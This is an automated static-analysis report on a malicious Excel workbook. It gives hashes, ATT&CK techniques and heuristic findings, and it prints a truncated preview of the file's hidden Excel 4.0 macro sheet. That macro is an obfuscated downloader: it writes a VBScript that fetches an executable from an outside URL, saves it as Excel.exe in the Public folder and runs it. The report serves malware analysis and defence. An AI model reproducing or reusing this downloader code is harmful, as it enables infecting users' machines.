Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d553714e9fa311d1…

MALICIOUS

Office (OOXML)

237.1 KB Created: 2021-10-06 04:56:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-14
MD5: 011afb68b4ea1bfcd882e2c2385c60a9 SHA-1: f272340be04b949de183136886ca0a00f64954c7 SHA-256: d553714e9fa311d1eda2f527a571c7e0e7165930159c4410296db7e7af657d0a
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains Excel 4.0 macros, including the Auto_Open defined name, which is a critical indicator of malicious intent. The macros utilize dangerous functions like FOPEN, FCLOSE, EXEC, and HALT to download and execute a second-stage payload from the URL http://gombar.hu/a1.exe. This indicates a downloader or droppper functionality.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FOPEN, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gombar.hu/a1.exe In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 5282 bytes
SHA-256: 3b47e3773ec768a609d478195618129d01f8ac031ffdef95499baeef13328509
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{EDBF2D39-C8B9-4EC5-9798-48DFFF4184A5}"><dimension ref="FZ2929:GG2954"/><sheetViews><sheetView showFormulas="1" topLeftCell="AAA1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="702" width="0" hidden="1" customWidth="1"/></cols><sheetData><row r="2929" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2929" t="b"><f bx="1">teslab="C"&amp;":"&amp;"\Use"&amp;"rs\Pub"&amp;"lic\"</f><v>0</v></c></row><row r="2930" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2930" t="b"><f bx="1">fil=FOPEN(teslab&amp;"vzdmcx.vbs",3)</f><v>0</v></c></row><row r="2931" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2931" t="e"><f>FWRITELN(fil,"On Error Resume Next")</f><v>#NAME?</v></c></row><row r="2932" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2932" t="e"><f>FWRITELN(fil,"b9dhxh = ""ft.X"&amp;"MLH""")</f><v>#NAME?</v></c></row><row r="2933" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2933" t="e"><f>FWRITELN(fil,"tsvzip = ""Microso""")</f><v>#NAME?</v></c></row><row r="2934" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2934" t="e"><f>FWRITELN(fil,"cqubtc = """&amp;GG2938&amp;"""")</f><v>#NAME?</v></c></row><row r="2935" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2935" t="e"><f>FWRITELN(fil,"hx3qpz = ""b.St""")</f><v>#NAME?</v></c></row><row r="2936" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2936" t="e"><f>FWRITELN(fil,"fub5iz = ""Adod""")</f><v>#NAME?</v></c></row><row r="2937" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2937" t="e"><f>FWRITELN(fil,"dim qo1uoq: Set qo1uoq = createobject(fub5iz &amp; hx3qpz &amp; ""ream"")")</f><v>#NAME?</v></c></row><row r="2938" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2938" t="e"><f>FWRITELN(fil,"dim bgop9u: Set bgop9u = createobject(tsvzip &amp; b9dhxh &amp; ""TTP"")")</f><v>#NAME?</v></c><c r="GG2938" t="s"><v>0</v></c></row><row r="2939" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2939" t="e"><f>FWRITELN(fil,"bgop9u.Open ""G"&amp;"ET"", cqubtc, False")</f><v>#NAME?</v></c></row><row r="2940" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2940" t="e"><f>FWRITELN(fil,"bgop9u.Send")</f><v>#NAME?</v></c></row><row r="2941" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2941" t="e"><f>FWRITELN(fil,"with qo1uoq")</f><v>#NAME?</v></c></row><row r="2942" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2942" t="e"><f>FWRITELN(fil,"    .type = 1")</f><v>#NAME?</v></c></row><row r="2943" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2943" t="e"><f>FWRITELN(fil,"    .open")</f><v>#NAME?</v></c></row><row r="2944" spans="182:189" x14ac:dyDescent="0.25"><c r="FZ2944" t="e"><f>FWRITELN(fil,"    .write bgop9u.responseBody")</f><v>#NAME?</v></c></row><row r="2945" spans="182:182" x14ac:dyDescent="0.25"><c r="FZ2945" t="e"><f>FWRITELN(fil,"    .savetofi"&amp;"le """&amp;teslab&amp;"Excel.exe"", 2")</f><v>#NAME?</v></c></row><row r="2946" spans="182:182" x14ac:dyDescent="0.25"><c r="FZ2946" t="e"><f>FWRITELN(fil,"end with")</f><v>#NAME?</v></c></row><row r="2947" spans="182:182" x14ac:dyDescent="0.25"><c r="FZ2947" t="e"><f>FWRITELN(fil,"shee = ""s"&amp;"hel""")</f><v>#NAME?</v></c></row><row r="2948" spans="182:182" x14ac:dyDescent="0.25"><c r="FZ2948" t="e"><f>FWRITELN(fil,"Creat"&amp;"eObj"&amp;"ect(shee &amp; ""l.A"&amp;"ppl"&amp;"ica"&amp;"tion"").Op"&amp;"e
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.